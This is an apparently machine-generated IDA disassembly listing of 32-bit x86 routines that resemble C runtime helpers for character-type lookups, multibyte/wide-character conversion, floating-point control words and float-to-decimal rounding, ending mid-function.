arg_18 = dword ptr 20h
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset dword_427C50
push offset sub_4234B8
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 18h
push ebx
push esi
push edi
mov [ebp+var_18], esp
mov eax, dword_4DB468
xor ebx, ebx
cmp eax, ebx
jnz short loc_423D5B
lea eax, [ebp+var_1C]
push eax
push 1
pop esi
push esi
push offset dword_427940
push esi
call near ptr 26000ACh
nop
test eax, eax
jz short loc_423D39
mov eax, esi
jmp short loc_423D56
; ---------------------------------------------------------------------------
loc_423D39: ; CODE XREF: sub_423CEC+47j
lea eax, [ebp+var_1C]
push eax
push esi
push offset dword_4CAE2C
push esi
push ebx
call near ptr 2610000h
nop
test eax, eax
jz loc_423E21
push 2
pop eax
loc_423D56: ; CODE XREF: sub_423CEC+4Bj
mov dword_4DB468, eax
loc_423D5B: ; CODE XREF: sub_423CEC+2Fj
cmp eax, 2
jnz short loc_423D84
mov eax, [ebp+arg_14]
cmp eax, ebx
jnz short loc_423D6C
mov eax, dword_4DB334
loc_423D6C: ; CODE XREF: sub_423CEC+79j
push [ebp+arg_C]
push [ebp+arg_8]
push [ebp+arg_4]
push [ebp+arg_0]
push eax
call near ptr 2610000h
nop
jmp loc_423E23
; ---------------------------------------------------------------------------
loc_423D84: ; CODE XREF: sub_423CEC+72j
cmp eax, 1
jnz loc_423E21
cmp [ebp+arg_10], ebx
jnz short loc_423D9A
mov eax, dword_4DB344
mov [ebp+arg_10], eax
loc_423D9A: ; CODE XREF: sub_423CEC+A4j
push ebx
push ebx
push [ebp+arg_8]
push [ebp+arg_4]
mov eax, [ebp+arg_18]
neg eax
sbb eax, eax
and eax, 8
inc eax
push eax
push [ebp+arg_10]
call near ptr 2820000h
nop
mov [ebp+var_20], eax
cmp eax, ebx
jz short loc_423E21
mov [ebp+var_4], ebx
lea edi, [eax+eax]
mov eax, edi
add eax, 3
and al, 0FCh
call sub_41BB20
mov [ebp+var_18], esp
mov esi, esp
mov [ebp+var_24], esi
push edi
push ebx
push esi
call sub_41B590
add esp, 0Ch
jmp short loc_423DF0
; ---------------------------------------------------------------------------
push 1
pop eax
retn
; ---------------------------------------------------------------------------
mov esp, [ebp+var_18]
xor ebx, ebx
xor esi, esi
loc_423DF0: ; CODE XREF: sub_423CEC+F7j
or [ebp+var_4], 0FFFFFFFFh
cmp esi, ebx
jz short loc_423E21
push [ebp+var_20]
push esi
push [ebp+arg_8]
push [ebp+arg_4]
push 1
push [ebp+arg_10]
nop
call near ptr 2820000h
cmp eax, ebx
jz short loc_423E21
push [ebp+arg_C]
push eax
push esi
push [ebp+arg_0]
nop
call near ptr 26000ACh
jmp short loc_423E23
; ---------------------------------------------------------------------------
loc_423E21: ; CODE XREF: sub_423CEC+61j
; sub_423CEC+9Bj ...
xor eax, eax
loc_423E23: ; CODE XREF: sub_423CEC+93j
; sub_423CEC+133j
lea esp, [ebp-34h]
mov ecx, [ebp+var_10]
mov large fs:0, ecx
pop edi
pop esi
pop ebx
leave
retn
sub_423CEC endp
; =============== S U B R O U T I N E =======================================
sub_423E35 proc near ; CODE XREF: sub_41F58A+61p
; sub_420446+8p
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
cmp eax, dword_4DC6C0
jb short loc_423E44
xor eax, eax
retn
; ---------------------------------------------------------------------------
loc_423E44: ; CODE XREF: sub_423E35+Aj
mov ecx, eax
and eax, 1Fh
sar ecx, 5
mov ecx, dword_4DC5C0[ecx*4]
mov al, [ecx+eax*8+4]
and eax, 40h
retn
sub_423E35 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_423E5B proc near ; CODE XREF: sub_41F69F+2D4p
; sub_41F69F+6B3p
arg_0 = dword ptr 8
arg_4 = word ptr 0Ch
push ebp
mov ebp, esp
mov eax, [ebp+arg_0]
test eax, eax
jnz short loc_423E67
pop ebp
retn
; ---------------------------------------------------------------------------
loc_423E67: ; CODE XREF: sub_423E5B+8j
cmp dword_4DB334, 0
jnz short loc_423E82
mov cx, [ebp+arg_4]
cmp cx, 0FFh
ja short loc_423EB4
push 1
mov [eax], cl
pop eax
pop ebp
retn
; ---------------------------------------------------------------------------
loc_423E82: ; CODE XREF: sub_423E5B+13j
lea ecx, [ebp+arg_0]
and [ebp+arg_0], 0
push ecx
push 0
push dword_43C504
push eax
lea eax, [ebp+arg_4]
push 1
push eax
push 220h
push dword_4DB344
call near ptr 28110D0h
nop
test eax, eax
jz short loc_423EB4
cmp [ebp+arg_0], 0
jz short loc_423EC1
loc_423EB4: ; CODE XREF: sub_423E5B+1Ej
; sub_423E5B+51j
mov dword_4DB278, 2Ah
or eax, 0FFFFFFFFh
loc_423EC1: ; CODE XREF: sub_423E5B+57j
pop ebp
retn
sub_423E5B endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_423EC3 proc near ; CODE XREF: sub_420510+6A3p
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push ebx
push esi
mov esi, [ebp+arg_4]
xor ebx, ebx
cmp esi, ebx
jz short loc_423EE6
cmp [ebp+arg_8], ebx
jz short loc_423EE6
mov al, [esi]
cmp al, bl
jnz short loc_423EEC
mov eax, [ebp+arg_0]
cmp eax, ebx
jz short loc_423EE6
mov [eax], bx
loc_423EE6: ; CODE XREF: sub_423EC3+Cj
; sub_423EC3+11j ...
xor eax, eax
loc_423EE8: ; CODE XREF: sub_423EC3+42j
; sub_423EC3+86j ...
pop esi
pop ebx
pop ebp
retn
; ---------------------------------------------------------------------------
loc_423EEC: ; CODE XREF: sub_423EC3+17j
cmp dword_4DB334, ebx
jnz short loc_423F07
mov ecx, [ebp+arg_0]
cmp ecx, ebx
jz short loc_423F02
movzx ax, al
mov [ecx], ax
loc_423F02: ; CODE XREF: sub_423EC3+36j
; sub_423EC3+C0j
push 1
pop eax
jmp short loc_423EE8
; ---------------------------------------------------------------------------
loc_423F07: ; CODE XREF: sub_423EC3+2Fj
mov ecx, off_43C2F8
movzx eax, al
test byte ptr [ecx+eax*2+1], 80h
jz short loc_423F64
mov eax, dword_43C504
cmp eax, 1
jle short loc_423F4B
cmp [ebp+arg_8], eax
jl short loc_423F55
xor ecx, ecx
cmp [ebp+arg_0], ebx
setnz cl
push ecx
push [ebp+arg_0]
push eax
push esi
push 9
push dword_4DB344
nop
call near ptr 2820000h
test eax, eax
mov eax, dword_43C504
jnz short loc_423EE8
loc_423F4B: ; CODE XREF: sub_423EC3+5Cj
cmp [ebp+arg_8], eax
jb short loc_423F55
cmp [esi+1], bl
jnz short loc_423EE8
loc_423F55: ; CODE XREF: sub_423EC3+61j
; sub_423EC3+8Bj ...
mov dword_4DB278, 2Ah
or eax, 0FFFFFFFFh
jmp short loc_423EE8
; ---------------------------------------------------------------------------
loc_423F64: ; CODE XREF: sub_423EC3+52j
xor eax, eax
cmp [ebp+arg_0], ebx
setnz al
push eax
push [ebp+arg_0]
push 1
push esi
push 9
push dword_4DB344
nop
call near ptr 2820000h
test eax, eax
jnz loc_423F02
jmp short loc_423F55
sub_423EC3 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_423F90 proc near ; CODE XREF: sub_420510+797p
; sub_420510+7E7p
cmp cl, 40h
jnb short loc_423FAA
cmp cl, 20h
jnb short loc_423FA0
shld edx, eax, cl
shl eax, cl
retn
; ---------------------------------------------------------------------------
loc_423FA0: ; CODE XREF: sub_423F90+8j
mov edx, eax
xor eax, eax
and cl, 1Fh
shl edx, cl
retn
; ---------------------------------------------------------------------------
loc_423FAA: ; CODE XREF: sub_423F90+3j
xor eax, eax
xor edx, edx
retn
sub_423F90 endp
; =============== S U B R O U T I N E =======================================
sub_423FAF proc near ; CODE XREF: sub_420F86+Fp
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push ebx
mov ebx, [esp+4+arg_0]
cmp ebx, 0FFFFFFFFh
push esi
jz short loc_423FFB
mov esi, [esp+8+arg_4]
mov eax, [esi+0Ch]
test al, 1
jnz short loc_423FCD
test al, 80h
jz short loc_423FFB
test al, 2
jnz short loc_423FFB
loc_423FCD: ; CODE XREF: sub_423FAF+14j
cmp dword ptr [esi+8], 0
jnz short loc_423FDA
push esi
call sub_4239EF
pop ecx
loc_423FDA: ; CODE XREF: sub_423FAF+22j
mov eax, [esi]
cmp eax, [esi+8]
jnz short loc_423FEA
cmp dword ptr [esi+4], 0
jnz short loc_423FFB
inc eax
mov [esi], eax
loc_423FEA: ; CODE XREF: sub_423FAF+30j
test byte ptr [esi+0Ch], 40h
jz short loc_424001
dec dword ptr [esi]
mov eax, [esi]
cmp [eax], bl
jz short loc_424007
inc eax
mov [esi], eax
loc_423FFB: ; CODE XREF: sub_423FAF+9j
; sub_423FAF+18j ...
or eax, 0FFFFFFFFh
loc_423FFE: ; CODE XREF: sub_423FAF+6Cj
pop esi
pop ebx
retn
; ---------------------------------------------------------------------------
loc_424001: ; CODE XREF: sub_423FAF+3Fj
dec dword ptr [esi]
mov eax, [esi]
mov [eax], bl
loc_424007: ; CODE XREF: sub_423FAF+47j
mov eax, [esi+0Ch]
inc dword ptr [esi+4]
and al, 0EFh
or al, 1
mov [esi+0Ch], eax
mov eax, ebx
and eax, 0FFh
jmp short loc_423FFE
sub_423FAF endp
; =============== S U B R O U T I N E =======================================
sub_42401D proc near ; CODE XREF: sub_421576+52p
xor eax, eax
retn
sub_42401D endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_424020 proc near ; CODE XREF: sub_424055+Ep
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
push esi
fstcw word ptr [ebp+var_4]
push [ebp+var_4]
call sub_42406B
mov esi, eax
mov eax, [ebp+arg_4]
not eax
and esi, eax
mov eax, [ebp+arg_0]
and eax, [ebp+arg_4]
or esi, eax
push esi
call sub_4240FD
pop ecx
mov [ebp+arg_4], eax
pop ecx
fldcw word ptr [ebp+arg_4]
mov eax, esi
pop esi
leave
retn
sub_424020 endp
; =============== S U B R O U T I N E =======================================
sub_424055 proc near ; CODE XREF: sub_421862+Ap
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_4]
and eax, 0FFF7FFFFh
push eax
push [esp+4+arg_0]
call sub_424020
pop ecx
pop ecx
retn
sub_424055 endp
; =============== S U B R O U T I N E =======================================
sub_42406B proc near ; CODE XREF: sub_424020+Cp
arg_0 = dword ptr 4
push ebx
mov ebx, [esp+4+arg_0]
xor eax, eax
push ebp
test bl, 1
push edi
jz short loc_42407C
push 10h
pop eax
loc_42407C: ; CODE XREF: sub_42406B+Cj
test bl, 4
jz short loc_424083
or al, 8
loc_424083: ; CODE XREF: sub_42406B+14j
test bl, 8
jz short loc_42408A
or al, 4
loc_42408A: ; CODE XREF: sub_42406B+1Bj
test bl, 10h
jz short loc_424091
or al, 2
loc_424091: ; CODE XREF: sub_42406B+22j
test bl, 20h
jz short loc_424098
or al, 1
loc_424098: ; CODE XREF: sub_42406B+29j
test bl, 2
jz short loc_4240A2
or eax, 80000h
loc_4240A2: ; CODE XREF: sub_42406B+30j
movzx ecx, bx
push esi
mov edx, ecx
mov esi, 0C00h
mov edi, 300h
and edx, esi
mov ebp, 200h
jz short loc_4240DA
cmp edx, 400h
jz short loc_4240D7
cmp edx, 800h
jz short loc_4240D3
cmp edx, esi
jnz short loc_4240DA
or eax, edi
jmp short loc_4240DA
; ---------------------------------------------------------------------------
loc_4240D3: ; CODE XREF: sub_42406B+5Ej
or eax, ebp
jmp short loc_4240DA
; ---------------------------------------------------------------------------
loc_4240D7: ; CODE XREF: sub_42406B+56j
or ah, 1
loc_4240DA: ; CODE XREF: sub_42406B+4Ej
; sub_42406B+62j ...
and ecx, edi
pop esi
jz short loc_4240EA
cmp ecx, ebp
jnz short loc_4240EF
or eax, 10000h
jmp short loc_4240EF
; ---------------------------------------------------------------------------
loc_4240EA: ; CODE XREF: sub_42406B+72j
or eax, 20000h
loc_4240EF: ; CODE XREF: sub_42406B+76j
; sub_42406B+7Dj
pop edi
pop ebp
test bh, 10h
pop ebx
jz short locret_4240FC
or eax, 40000h
locret_4240FC: ; CODE XREF: sub_42406B+8Aj
retn
sub_42406B endp
; =============== S U B R O U T I N E =======================================
sub_4240FD proc near ; CODE XREF: sub_424020+23p
arg_0 = dword ptr 4
push ebx
mov ebx, [esp+4+arg_0]
xor eax, eax
push esi
test bl, 10h
jz short loc_42410D
push 1
pop eax
loc_42410D: ; CODE XREF: sub_4240FD+Bj
test bl, 8
jz short loc_424114
or al, 4
loc_424114: ; CODE XREF: sub_4240FD+13j
test bl, 4
jz short loc_42411B
or al, 8
loc_42411B: ; CODE XREF: sub_4240FD+1Aj
test bl, 2
jz short loc_424122
or al, 10h
loc_424122: ; CODE XREF: sub_4240FD+21j
test bl, 1
jz short loc_424129
or al, 20h
loc_424129: ; CODE XREF: sub_4240FD+28j
test ebx, 80000h
jz short loc_424133
or al, 2
loc_424133: ; CODE XREF: sub_4240FD+32j
mov ecx, ebx
mov edx, 300h
and ecx, edx
mov esi, 200h
jz short loc_424160
cmp ecx, 100h
jz short loc_42415D
cmp ecx, esi
jz short loc_424158
cmp ecx, edx
jnz short loc_424160
or ah, 0Ch
jmp short loc_424160
; ---------------------------------------------------------------------------
loc_424158: ; CODE XREF: sub_4240FD+50j
or ah, 8
jmp short loc_424160
; ---------------------------------------------------------------------------
loc_42415D: ; CODE XREF: sub_4240FD+4Cj
or ah, 4
loc_424160: ; CODE XREF: sub_4240FD+44j
; sub_4240FD+54j ...
mov ecx, ebx
and ecx, 30000h
jz short loc_424176
cmp ecx, 10000h
jnz short loc_424178
or eax, esi
jmp short loc_424178
; ---------------------------------------------------------------------------
loc_424176: ; CODE XREF: sub_4240FD+6Bj
or eax, edx
loc_424178: ; CODE XREF: sub_4240FD+73j
; sub_4240FD+77j
pop esi
test ebx, 40000h
pop ebx
jz short locret_424185
or ah, 10h
locret_424185: ; CODE XREF: sub_4240FD+83j
retn
sub_4240FD endp
; =============== S U B R O U T I N E =======================================
sub_424186 proc near ; CODE XREF: sub_424225+48p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_4]
push esi
push 20h
cdq
pop ecx
idiv ecx
push 1Fh
mov esi, eax
mov eax, [esp+8+arg_4]
cdq
idiv ecx
pop ecx
mov eax, [esp+4+arg_0]
sub ecx, edx
or edx, 0FFFFFFFFh
shl edx, cl
not edx
test [eax+esi*4], edx
jnz short loc_4241CB
inc esi
cmp esi, 3
jge short loc_4241C6
lea eax, [eax+esi*4]
loc_4241B8: ; CODE XREF: sub_424186+3Ej
cmp dword ptr [eax], 0
jnz short loc_4241CB
inc esi
add eax, 4
cmp esi, 3
jl short loc_4241B8
loc_4241C6: ; CODE XREF: sub_424186+2Dj
push 1
pop eax
pop esi
retn
; ---------------------------------------------------------------------------
loc_4241CB: ; CODE XREF: sub_424186+27j
; sub_424186+35j
xor eax, eax
pop esi
retn
sub_424186 endp
; =============== S U B R O U T I N E =======================================
sub_4241CF proc near ; CODE XREF: sub_424225+57p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_4]
push ebx
push esi
push edi
push 20h
mov ebx, [esp+10h+arg_0]
cdq
pop ecx
idiv ecx
mov esi, eax
mov eax, [esp+0Ch+arg_4]
cdq
idiv ecx
lea edi, [ebx+esi*4]
push edi
push 1Fh
pop ecx
push 1
pop eax
sub ecx, edx
shl eax, cl
push eax
push dword ptr [edi]
call sub_425050
add esp, 0Ch
dec esi
js short loc_424221
lea edi, [ebx+esi*4]
loc_424208: ; CODE XREF: sub_4241CF+50j
test eax, eax
jz short loc_424221
push edi
push 1
push dword ptr [edi]
call sub_425050
add esp, 0Ch
dec esi
sub edi, 4
test esi, esi
jge short loc_424208
loc_424221: ; CODE XREF: sub_4241CF+34j
; sub_4241CF+3Bj
pop edi
pop esi
pop ebx
retn
sub_4241CF endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_424225 proc near ; CODE XREF: sub_424380+81p
; sub_424380+CCp
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
push ecx
mov eax, [ebp+arg_4]
push ebx
push esi
push edi
lea edi, [eax-1]
push 20h
pop ecx
and [ebp+var_4], 0
lea ebx, [edi+1]
push 20h
mov eax, ebx
pop esi
cdq
idiv ecx
push 1Fh
mov ecx, eax
mov eax, ebx
cdq
idiv esi
mov eax, [ebp+arg_0]
pop esi
push 1
mov [ebp+var_8], ecx
lea eax, [eax+ecx*4]
mov [ebp+arg_4], eax
sub esi, edx
pop edx
mov ecx, esi
shl edx, cl
test [eax], edx
jz short loc_424289
inc ebx
push ebx
push [ebp+arg_0]
call sub_424186
pop ecx
test eax, eax
pop ecx
jnz short loc_424286
push edi
push [ebp+arg_0]
call sub_4241CF
pop ecx
mov [ebp+var_4], eax
pop ecx
loc_424286: ; CODE XREF: sub_424225+51j
mov eax, [ebp+arg_4]
loc_424289: ; CODE XREF: sub_424225+41j
or edx, 0FFFFFFFFh
mov ecx, esi
shl edx, cl
push 3
pop ecx
and [eax], edx
mov eax, [ebp+var_8]
inc eax
cmp eax, ecx
jge short loc_4242A9
mov edx, [ebp+arg_0]
sub ecx, eax
lea edi, [edx+eax*4]
xor eax, eax
rep stosd
loc_4242A9: ; CODE XREF: sub_424225+76j
mov eax, [ebp+var_4]
pop edi
pop esi
pop ebx
leave
retn
sub_424225 endp
; =============== S U B R O U T I N E =======================================
sub_4242B1 proc near ; CODE XREF: sub_424380+75p
; sub_424380+B6p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_4]
mov ecx, [esp+arg_0]
push esi
push 3
sub ecx, eax
pop edx
loc_4242BF: ; CODE XREF: sub_4242B1+17j
mov esi, [eax]
mov [ecx+eax], esi
add eax, 4
dec edx
jnz short loc_4242BF
pop esi
retn
sub_4242B1 endp
; =============== S U B R O U T I N E =======================================
sub_4242CC proc near ; CODE XREF: sub_424380+5Fp
; sub_424380+9Ep ...
arg_0 = dword ptr 4
push edi
mov edi, [esp+4+arg_0]
xor eax, eax
stosd
stosd
stosd
pop edi
retn
sub_4242CC endp
; =============== S U B R O U T I N E =======================================
sub_4242D8 proc near ; CODE XREF: sub_424380+4Dp
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
xor ecx, ecx
loc_4242DE: ; CODE XREF: sub_4242D8+12j
cmp dword ptr [eax], 0
jnz short loc_4242F0
inc ecx
add eax, 4
cmp ecx, 3
jl short loc_4242DE
push 1
pop eax
retn
; ---------------------------------------------------------------------------
loc_4242F0: ; CODE XREF: sub_4242D8+9j
xor eax, eax
retn
sub_4242D8 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4242F3 proc near ; CODE XREF: sub_424380+C0p
; sub_424380+DAp ...
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 0Ch
mov eax, [ebp+arg_4]
push ebx
push esi
push edi
push 20h
mov edi, [ebp+arg_0]
pop ebx
or esi, 0FFFFFFFFh
cdq
mov ecx, ebx
mov [ebp+var_4], 3
idiv ecx
mov [ebp+var_C], eax
mov eax, [ebp+arg_4]
cdq
idiv ecx
and [ebp+arg_4], 0
mov ecx, edx
shl esi, cl
sub ebx, edx
not esi
loc_424329: ; CODE XREF: sub_4242F3+58j
mov eax, [edi]
mov ecx, eax
and ecx, esi
mov [ebp+var_8], ecx
mov ecx, edx
shr eax, cl
or eax, [ebp+arg_4]
mov [edi], eax
mov eax, [ebp+var_8]
mov ecx, ebx
add edi, 4
shl eax, cl
dec [ebp+var_4]
mov [ebp+arg_4], eax
jnz short loc_424329
mov edi, [ebp+var_C]
push 2
pop ebx
mov esi, edi
push 8
pop ecx
shl esi, 2
loc_42435B: ; CODE XREF: sub_4242F3+86j
cmp ebx, edi
jl short loc_42436E
mov edx, [ebp+arg_0]
mov eax, ecx
sub eax, esi
mov eax, [eax+edx]
mov [ecx+edx], eax
jmp short loc_424375
; ---------------------------------------------------------------------------
loc_42436E: ; CODE XREF: sub_4242F3+6Aj
mov eax, [ebp+arg_0]
and dword ptr [ecx+eax], 0
loc_424375: ; CODE XREF: sub_4242F3+79j
dec ebx
sub ecx, 4
jns short loc_42435B
pop edi
pop esi
pop ebx
leave
retn
sub_4242F3 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_424380 proc near ; CODE XREF: sub_4244EC+Dp
; sub_424502+Dp
var_18 = byte ptr -18h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 18h
mov eax, [ebp+arg_0]
push ebx
push esi
push edi
movzx ecx, word ptr [eax+0Ah]
mov ebx, ecx
and ecx, 8000h
mov [ebp+arg_0], ecx
mov ecx, [eax+6]
mov [ebp+var_C], ecx
mov ecx, [eax+2]
movzx eax, word ptr [eax]
mov edi, [ebp+arg_8]
and ebx, 7FFFh
sub ebx, 3FFFh
mov [ebp+var_8], ecx
shl eax, 10h
cmp ebx, 0FFFFC001h
mov [ebp+var_4], eax
jnz short loc_4243ED
lea eax, [ebp+var_C]
xor esi, esi
push eax
call sub_4242D8
test eax, eax
pop ecx
jnz loc_4244AC
lea eax, [ebp+var_C]
push eax
call sub_4242CC
pop ecx
loc_4243E5: ; CODE XREF: sub_424380+E4j
push 2
loc_4243E7: ; CODE XREF: sub_424380+110j
pop eax
jmp loc_4244AE
; ---------------------------------------------------------------------------
loc_4243ED: ; CODE XREF: sub_424380+45j
lea eax, [ebp+var_C]
push eax
lea eax, [ebp+var_18]
push eax
call sub_4242B1
push dword ptr [edi+8]
lea eax, [ebp+var_C]
push eax
call sub_424225
add esp, 10h
test eax, eax
jz short loc_42440E
inc ebx
loc_42440E: ; CODE XREF: sub_424380+8Bj
mov eax, [edi+4]
mov ecx, eax
sub ecx, [edi+8]
cmp ebx, ecx
jge short loc_424426
lea eax, [ebp+var_C]
push eax
call sub_4242CC
pop ecx
jmp short loc_424462
; ---------------------------------------------------------------------------
loc_424426: ; CODE XREF: sub_424380+98j
cmp ebx, eax
jg short loc_424469
sub eax, ebx
mov esi, eax
lea eax, [ebp+var_18]
push eax
lea eax, [ebp+var_C]
push eax
call sub_4242B1
lea eax, [ebp+var_C]
push esi
push eax
call sub_4242F3
push dword ptr [edi+8]
lea eax, [ebp+var_C]
push eax
call sub_424225
mov eax, [edi+0Ch]
inc eax
push eax
lea eax, [ebp+var_C]
push eax
call sub_4242F3
add esp, 20h
loc_424462: ; CODE XREF: sub_424380+A4j
xor esi, esi
jmp loc_4243E5
; ---------------------------------------------------------------------------
loc_424469: ; CODE XREF: sub_424380+A8j
cmp ebx, [edi]
jl short loc_424495
lea eax, [ebp+var_C]
push eax
call sub_4242CC
push dword ptr [edi+0Ch]
or byte ptr [ebp+var_C+3], 80h
lea eax, [ebp+var_C]
push eax
call sub_4242F3
mov esi, [edi+14h]
add esp, 0Ch
add esi, [edi]
push 1
jmp loc_4243E7
; ---------------------------------------------------------------------------
loc_424495: ; CODE XREF: sub_424380+EBj
push dword ptr [edi+0Ch]
mov esi, [edi+14h]
and byte ptr [ebp+var_C+3], 7Fh
lea eax, [ebp+var_C]
push eax
add esi, ebx
call sub_4242F3
pop ecx
pop ecx
loc_4244AC: ; CODE XREF: sub_424380+55j
xor eax, eax
loc_4244AE: ; CODE XREF: sub_424380+68j
push 1Fh
pop ecx
sub ecx, [edi+0Ch]
mov edi, [edi+10h]
shl esi, cl
mov ecx, [ebp+arg_0]
neg ecx
sbb ecx, ecx
and ecx, 80000000h
or esi, ecx
or esi, [ebp+var_C]
cmp edi, 40h
jnz short loc_4244DD
mov ecx, [ebp+arg_4]
mov edx, [ebp+var_8]
mov [ecx+4], esi
mov [ecx], edx
jmp short loc_4244E7
; ---------------------------------------------------------------------------
loc_4244DD: ; CODE XREF: sub_424380+14Ej
cmp edi, 20h
jnz short loc_4244E7
mov ecx, [ebp+arg_4]
mov [ecx], esi
loc_4244E7: ; CODE XREF: sub_424380+15Bj
; sub_424380+160j
pop edi
pop esi
pop ebx
leave
retn
sub_424380 endp
; =============== S U B R O U T I N E =======================================
sub_4244EC proc near ; CODE XREF: sub_424518+23p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push offset dword_43CC78
push [esp+4+arg_4]
push [esp+8+arg_0]
call sub_424380
add esp, 0Ch
retn
sub_4244EC endp
; =============== S U B R O U T I N E =======================================
sub_424502 proc near ; CODE XREF: sub_424545+23p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push offset dword_43CC90
push [esp+4+arg_4]
push [esp+8+arg_0]
call sub_424380
add esp, 0Ch
retn
sub_424502 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_424518 proc near ; CODE XREF: sub_42199B+12p
var_C = byte ptr -0Ch
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 0Ch
xor eax, eax
push eax
push eax
push eax
push eax
push [ebp+arg_4]
lea eax, [ebp+arg_4]
push eax
lea eax, [ebp+var_C]
push eax
call sub_4251F1
push [ebp+arg_0]
lea eax, [ebp+var_C]
push eax
call sub_4244EC
add esp, 24h
leave
retn
sub_424518 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_424545 proc near ; CODE XREF: sub_42199B+2Dp
var_C = byte ptr -0Ch
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 0Ch
xor eax, eax
push eax
push eax
push eax
push eax
push [ebp+arg_4]
lea eax, [ebp+arg_4]
push eax
lea eax, [ebp+var_C]
push eax
call sub_4251F1
push [ebp+arg_0]
lea eax, [ebp+var_C]
push eax
call sub_424502
add esp, 24h
leave
retn
sub_424545 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_424572 proc near ; CODE XREF: sub_4219D9+65p
; sub_421ADD+63p ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
mov edx, [ebp+arg_8]
push ebx
mov ebx, [ebp+arg_4]
push esi
mov esi, [ebp+arg_0]
mov ecx, [edx+0Ch]
push edi
lea edi, [esi+1]
mov byte ptr [esi], 30h
test ebx, ebx
mov eax, edi
jle short loc_4245AF
mov [ebp+arg_0], ebx
xor ebx, ebx
loc_424595: ; CODE XREF: sub_424572+38j
mov dl, [ecx]
test dl, dl
jz short loc_4245A1
movsx edx, dl
inc ecx
jmp short loc_4245A4
; ---------------------------------------------------------------------------
loc_4245A1: ; CODE XREF: sub_424572+27j
push 30h
pop edx
loc_4245A4: ; CODE XREF: sub_424572+2Dj
mov [eax], dl
inc eax
dec [ebp+arg_0]
jnz short loc_424595
mov edx, [ebp+arg_8]
loc_4245AF: ; CODE XREF: sub_424572+1Cj
and byte ptr [eax], 0
test ebx, ebx
jl short loc_4245C8
cmp byte ptr [ecx], 35h
jl short loc_4245C8
loc_4245BB: ; CODE XREF: sub_424572+52j
dec eax
cmp byte ptr [eax], 39h
jnz short loc_4245C6
mov byte ptr [eax], 30h
jmp short loc_4245BB
; ---------------------------------------------------------------------------
loc_4245C6: ; CODE XREF: sub_424572+4Dj
inc byte ptr [eax]
loc_4245C8: ; CODE XREF: sub_424572+42j
; sub_424572+47j
cmp byte ptr [esi], 31h
jnz short loc_4245D2
inc dword ptr [edx+4]
jmp short loc_4245E4
; ---------------------------------------------------------------------------
loc_4245D2: ; CODE XREF: sub_424572+59j
push edi
call sub_41AFE0
inc eax
push eax
push edi
push esi
call sub_41CC90
add esp, 10h
loc_4245E4: ; CODE XREF: sub_424572+5Ej
pop edi
pop esi
pop ebx
pop ebp
retn
sub_424572 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4245E9 proc near ; CODE XREF: sub_4219D9+3Fp
; sub_421ADD+46p ...
var_C = byte ptr -0Ch
arg_0 = byte ptr 8
push ebp
mov ebp, esp
sub esp, 0Ch
push esi
lea eax, [ebp+arg_0]
push edi
push eax
lea eax, [ebp+var_C]
push eax
call sub_42464D
pop ecx
lea esi, [ebp+var_C]
pop ecx
push offset word_4DB470
push 0
push 11h
sub esp, 0Ch
mov edi, esp
movsd
movsd
movsw
call sub_4256C2
mov dword_4DB498, eax
add esp, 18h
movsx eax, byte_4DB472
mov dword_4DB490, eax
pop edi
movsx eax, word_4DB470
mov dword_4DB494, eax
mov dword_4DB49C, offset dword_4DB474
mov eax, offset dword_4DB490
pop esi
leave
retn
sub_4245E9 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42464D proc near ; CODE XREF: sub_4245E9+10p
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
mov edx, [ebp+arg_4]
push ebx
push esi
push edi
mov ax, [edx+6]
mov edi, 7FFh
mov ecx, eax
and eax, 8000h
shr ecx, 4
and ecx, edi
mov [ebp+arg_4], eax
mov eax, [edx+4]
mov edx, [edx]
movzx ebx, cx
mov esi, 80000000h
and eax, 0FFFFFh
test ebx, ebx
mov [ebp+var_4], esi
jz short loc_42469B
cmp ebx, edi
jz short loc_424694
lea edi, [ecx+3C00h]
jmp short loc_4246BC
; ---------------------------------------------------------------------------
